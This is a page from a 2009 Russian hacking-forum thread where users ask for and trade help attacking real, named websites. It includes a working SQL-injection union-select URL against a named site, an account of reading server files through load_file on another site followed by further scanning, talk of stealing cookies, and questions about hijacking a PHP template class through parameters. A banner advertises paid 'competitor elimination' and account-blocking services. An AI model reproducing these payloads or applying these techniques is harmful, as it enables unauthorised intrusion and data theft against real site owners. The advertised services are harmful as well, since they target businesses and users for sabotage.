Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 940 из 2438

940

Опции темы

Поиск в этой теме

Опции просмотра

#9391

15.10.2009, 22:08

L I G A

Постоянный

Регистрация: 27.07.2008

Сообщений: 614

С нами: 9362947

Репутация: 1196

Цитата:

Сообщение от kote_otake

сайт не юзает XSS

что то новое

#9392

15.10.2009, 22:41

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

Я конечно, ламер, но можно вопрос?
Если сайт не юзает XSS, то можно сташить куки через сниффер?
Или это невозможно?

можно, но для этого нужо какимто образом заставить жертву ввести скрипт в адресную строку.

#9393

15.10.2009, 22:51

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

С нами: 9950786

Репутация: 214

http://armatula.ru/index.php?id=73'
Раскручиваемо?

#9394

15.10.2009, 23:05

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

раскручиваемо:
http://armatula.ru/index.php?id=-73'+union+select+version(),2,3+--+

#9395

15.10.2009, 23:57

Rubaka

Участник форума

Регистрация: 02.09.2007

Сообщений: 292

С нами: 9837719

Репутация: 466

есть сайт http://danielbrowninc.com/story_preview.php
вылазит ошибка /www/danielbrowninc.com/includes/functions.inc

иду на http://danielbrowninc.com/includes/ или на http://danielbrowninc.com/includes/functions.inc
вылазит 404 ошибка! как такое могет быть?

#9396

16.10.2009, 00:04

Rubaka

Участник форума

Регистрация: 02.09.2007

Сообщений: 292

С нами: 9837719

Репутация: 466

не! физически файл существуеть! я его через load_file читаю

Add: Пошел pelmeshk0 сканить

Последний раз редактировалось Rubaka; 16.10.2009 в 00:49.. Причина: добавил!

#9397

16.10.2009, 00:06

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

сайт может быть в папке html к примеру
/www/danielbrowninc.com/html/
поэтому доступа к папке инклудес нет из веба

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#9398

16.10.2009, 00:49

Rubaka

Участник форума

Регистрация: 02.09.2007

Сообщений: 292

С нами: 9837719

Репутация: 466

насканил:все защищено .htaccess-ами
и их через лоад файл не прочитать ((((((((

придеться шонить другое искать

#9399

16.10.2009, 06:27

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

Сообщение от Rubaka

насканил:все защищено .htaccess-ами
и их через лоад файл не прочитать ((((((((

придеться шонить другое искать

Возможно просто в твоём functions.inc проверка, если инклюд > Выполняем.
Если не инклюд тупо.

PHP код:


		
			
header("HTTP/1.0 404 Not Found") or die();

#9400

16.10.2009, 10:52

Rezak

Новичок

Регистрация: 25.01.2008

Сообщений: 5

С нами: 9628417

Репутация: 2

Есть такой скрипт

PHP код:


		
			
<?php

session_start();



$template->set_filenames(array('head'=>"$template_path/header.html"));



$template->pparse('head');



?>

Реально череp параметры переопределить класс template, ну и заставить скрипт делать что-то свое?

Страница 940 из 2438

940

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Внести депозит

Депозит создан

Вывести депозит